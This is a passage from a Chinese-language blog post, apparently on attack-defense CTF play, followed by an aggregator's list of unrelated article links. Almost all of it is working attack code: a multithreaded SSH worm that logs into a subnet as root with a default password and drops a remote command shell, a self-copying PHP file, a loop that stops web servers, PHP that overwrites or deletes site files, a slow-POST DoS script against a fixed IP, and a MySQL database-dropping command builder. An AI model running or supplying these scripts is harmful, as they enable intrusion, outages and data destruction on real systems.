            result=os.getcwd()      #显示路径
        else:
            result=os.popen(command).read()
        if result:
            con.send(result.encode())
        else:
            con.send(b'OK!')
    '''
    cmd = 'echo \"%s\" > ./.shell.py' % (shell) +'&& python3 ./.shell.py'
    port = '22'  #
    username = 'root' #
    passwd = 'toor' # passwd

    ip = '192.168.1.{}'.format(x) # ip
    q.put(ip.strip(),block=True, timeout=None)
    ip_demo=q.get()
    #判断是否成功
    try:
        #lock.acquire()
        res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
        if res:
            print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
            #lock.release()
            ssh_base_pwd(ip_demo,port,username,passwd,cmd)
    except:
        print("[ - ]Ip: %s" % ip_demo +" is Failed")
    if x > 255:
        print("Finshed!!!!!!!!")
    q.task_done()

#线程队列部分
th=[]
th_num=255
for x in range(th_num):
        t=threading.Thread(target=main,args=(x,))
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()

#q.join()所有任务完成

攻击搅屎脚本

0x01.无线复制

<?php
  set_time_limit(0);
  ignore_user_abort(true);
  while(1){
      file_put_contents(randstr().'.php',file_get_content(__FILE__));
      file_get_contents("http://127.0.0.1/");
  }
?>

0x02.无线停止apache2 和 nginx

#!/usr/bin/env sh
while [[ 1 ]]
do
    service apache2 stop
    service nginx stop
done &

最后加一个&代表可以在后台运行

0x03.循环删除

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    function getfiles($path){
        foreach(glob($path) as $afile){
            if(is_dir($afile))
                getfiles($afile.'/*.php');
            else
                @file_put_contents($afile,"#on shit#");
                //unlink($afile);
        }
    }
    while(1){
        getfiles(__DIR__);
        sleep(10);
    }
?>
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    array_map('unlink', glob("some/dir/*.php"));
?>

0x04.DDOS脚本(最好不要用)

import socket
import time
import threading

max=90000000
port=80                 #端口
host="192.168.92.154"   #IP
page="/index.php"

bag=("POST %s HTTP/1.1\r\n"
    "host: %s\r\n"
    "Content-Length: 1000000000\r\n"
    "Cookie: 1998\r\n"
    "\r\n" % (page,host))

socks = []

def connect():
    global socks
    for i in range(0,max):
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((host,port))
            s.send(bag.encode("utf-8"))
            socks.append(s)
        except Exception as ex:
            time.sleep(1)

def send():
    global socks
    while True:
        for s in socks:
            try:
                print("攻击中....")
            except Exception as ex:
                socks.remove(s)
                s.close()
        time.sleep(0.1)

One = threading.Thread(target=connect,args=())
Two = threading.Thread(target=send,args=())
One.start()
Two.start()

0x05.删除数据库

#!/usr/bin/env python3
  import base64
  def rm_db(db_user,my_db_passwd):
      cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)
      db_name = ['performance_schema','mysql','flag']
      for db in db_name:
          cmd += "drop database %s;"%db
      cmd += "'"
      return cmd

思维导图

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/802979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

带你简单认识淘宝API及相关的业务场景介绍

淘宝API接口是为开发电商类应用程序而设计的一套完整的、跨浏览器、跨平台的接口规范。通过开放接口&#xff0c;开发者可以不改变现有系统&#xff0c;直接在原有系统上实现新功能。该规范于2007年发布&#xff0c;是目前业界唯一完整覆盖电商系统各相关业务领域的接口标准&am…

RCU 使用及机制源码的一些分析

》内核新视界文章汇总《 文章目录 1 介绍2 使用方法2.1 经典 RCU2.2 不可抢占RCU2.3 加速版不可抢占RCU2.4 链表操作的RCU版本2.5 slab 缓存支持RCU 3 源码与实现机制的简单分析3.1 数据结构3.2 不可抢占RCU3.3 加速版不可抢占RCU3.4 可抢占RCU3.5 报告禁止状态3.6 宽限期的开…

tinkerCAD案例:16. Spin Circuit Assembly 自旋电路组装

tinkerCAD案例&#xff1a;16. Spin Circuit Assembly 自旋电路组装 原文 In this tutorial, you’ll learn how to make a monkey with spinning arms using the Spin Circuit Assembly, which combines a spinning hobby gearmotor with 2xAAA batteries. 在本教程中&#…

Intellij IDEA 双击启动报错ClassNotFoundException: com.licel.b.z@

项目场景&#xff1a; 新从官网下载了ideaIU-2023.2.win.zip &#xff0c;安装后双击启动报错&#xff0c; 无法运行idea, 提示信息如下 问题描述 Internal error. Please refer to https://jb.gg/ide/critical-startup-errorsjava.lang.ExceptionInInitializerErrorat java…

会议OA系统会议管理模块开发思路(layui搭建)

目录 一.为什么要进行开发 1.开发目的 2.项目流程 A.发起会议请求过程 1.首先实现我们的多选下拉框功能&#xff01; 2.时间组件功能&#xff0c;并且提交我们新增加的会议内容 3.在进行发起会议编码时遇到的问题&#xff0c;BUG 3.1.有点时候js访问不到路径 3.2在增加…

陪伴关爱,陪诊小程序源码开发带给您温暖服务

在现代社会&#xff0c;随着人们生活压力的增加和健康意识的提高&#xff0c;陪诊服务成为了越来越多人的需求。为了满足用户对于贴心陪诊服务的需求&#xff0c;陪诊小程序应运而生。陪诊小程序是基于微信小程序平台开发的应用程序&#xff0c;旨在为用户提供便捷高效的陪诊服…

列表排序按钮常用方法,实现“向前移动到第一个↑”、“向前移动∧”、“向后移动∨”、“向后移动到最后一个↓”

<el-button title"向前移动到第一个" size"mini" type"primary" icon"el-icon-top" :disabled"tableData.length scope.row.value tableData[0].value :true" click.stop"moveToFirst(scope.row)" circle pla…

螺环化合物:1380300-88-8,具有刚性结构,结构稳定

资料编辑|陕西新研博美生物科技有限公司小编MISSwu​ PART1----产品描述&#xff1a; 螺环化合物&#xff08;CAS号&#xff1a;1380300-88-8&#xff09;&#xff0c;螺环化合物具有刚性结构&#xff0c;结构稳定&#xff0c;其手性配体有较大的比旋光度&#xff0c;在不对称…

如何选择低代码/零代码平台(最全平台总结)

来谈论这个问题之前&#xff0c;我们先来看看到底什么是低代码/零代码—— 低代码 对于“低代码”的宣传其实已经很久很广泛了&#xff0c;但是争议从来都没有停止。 忘记之前在哪里看到过一个“低代码将会取代程序员”之类的说法&#xff0c;觉得很好笑&#xff0c;看了一些…

靶机精讲之Brainpan1

nmap扫描 主机发现 端口扫描 服务扫描 -sT 说明用tcp协议&#xff08;三次握手&#xff09;扫描 -sV扫描版本 O扫描系统 NULL是图片 10000端口是个python服务 UDP扫描 脚本扫描 web渗透 目录爆破 显示/bin/目录有东西 gobuster dir -w /usr/share/dirbuster/wordlists/di…

KVC与KVO

KVO 什么是KVO KVO全称Key Value Observing&#xff0c;其是苹果提供的一套事件通知机制。允许对象监听另一个对象特定属性的改变&#xff0c;并在改变时接收到事件。观察者模式 由于KVO的实现机制&#xff0c;只针对属性才会发生作用&#xff0c;一般继承自NSObject的对象都…

Centos部署Springboot项目详解

准备启动jar包&#xff0c;app.jar放入指定目录。 一、命令启动 1、启动命令 java -jar app.jar 2、后台运行 nohup java -jar app.jar >/dev/null 2>&1 & 加入配置参数命令 nohup java -Xms512M -Xmx512M -jar app.jar --server.port9080 spring.profiles…

k8s webhook实例,java springboot程序实现 对Pod创建请求添加边车容器 ,模拟istio实现日志文件清理

k8s webhook实例&#xff0c;java springboot程序实现 对Pod创建请求添加边车容器 &#xff0c;模拟istio实现日志文件清理 大纲 背景与原理实现流程开发部署my-docker-demo-sp-user服务模拟业务项目开发部署my-sidecar服务模拟边车程序开发部署服务my-docker-demo-k8s-opera…

代码随想录算法训练营day14 | 二叉树的递归遍历和迭代遍历

目录 144. 二叉树的前序遍历 94. 二叉树的中序遍历 145. 二叉树的后序遍历 递归看这篇文章&#xff1a;三道题套路解决递归问题 | lyls blog 前序遍历的和后序遍历的迭代方法代码思路相同&#xff1b;因为栈为先进后出&#xff0c;所以前序遍历的入栈顺序为中右左&#xff1…

查看GPU使用的最佳方式

1. watch -n 1 nvidia-smi (最有名,没有之一) nvidia自带了一个nvidia-smi的命令行工具,会显示GPU使用情况 ​​​​​​​ 作为监控 GPU 的工具就显得有点过于简陋了。比如 Process name 栏只显示命令行的程序名,不显示参数,这样输出结果就是一堆 python 和 .../Minico…

封神,谷歌架构师分享 出gRPC 与云原生应用开发 Go 和 Java 为例文档

前言 随着微服务和云原生相关技术的发展&#xff0c;应用程序的架构模式已从传统的单体架构或分层架构转向了分布式的计算架构。尽管分布式架构本身有一定的开发成本和运维成本&#xff0c;但它所带来的收益是显而易见的。 在实现分布式应用程序时&#xff0c;我们必须考虑两…

加热炉优化燃烧控制系统开发

首先给大家推荐本书&#xff1a;      认识 加热炉是是把坯料加热到均匀的、适合轧制的温度(奥氏体组织)。温度提高以后&#xff0c;首先是提高钢的塑性&#xff0c;降低变形抗力&#xff0c;使钢容易变形。 钢坯加热模型。如T12钢室温下变形抗力约为600Mpa&#xff0c;加热…

ide运行报错“Command line is too long”解决办法

有时运行程序时&#xff0c;ide会报如下错&#xff0c;如何解决呢&#xff0c;其实提示已经告诉你解决办法了。点击图中的蓝色超链接&#xff1a; “JAR MAINIFEST” 或 “CLASSPATH FILE” 都能解决问题 这是因为命名的方法名太长了才会报这个错 方法2 如果没有弹窗&#xf…

DisplayPort Alt Mode On Type-c协议_Ver2.0(学习笔记)

1.简介 USB-C设想支持使用Type-C连接器和电缆的Alt Mode&#xff0c;其中各种Type-C连接器引脚可以重新配置&#xff0c;以支持超出Type-C范围的接口。 Type-C&#xff08;以及它所利用的USB PD&#xff09;提供了一个Discovery Process&#xff0c;用于发现连接的USB设备中对…

【Yolo系列目标检测模型】详细整理!更新中

文章目录 1、YOLOv11.1、概述1.2、实现方案1&#xff09;整体思路2&#xff09;网络结构3&#xff09;损失函数4&#xff09;推理/预测过程5&#xff09;优缺点 2、YOLOv22.1、概述/改进整体思路2.2、YOLOv2的改进点/tricks1&#xff09;Multi-Scale Training2&#xff09;High…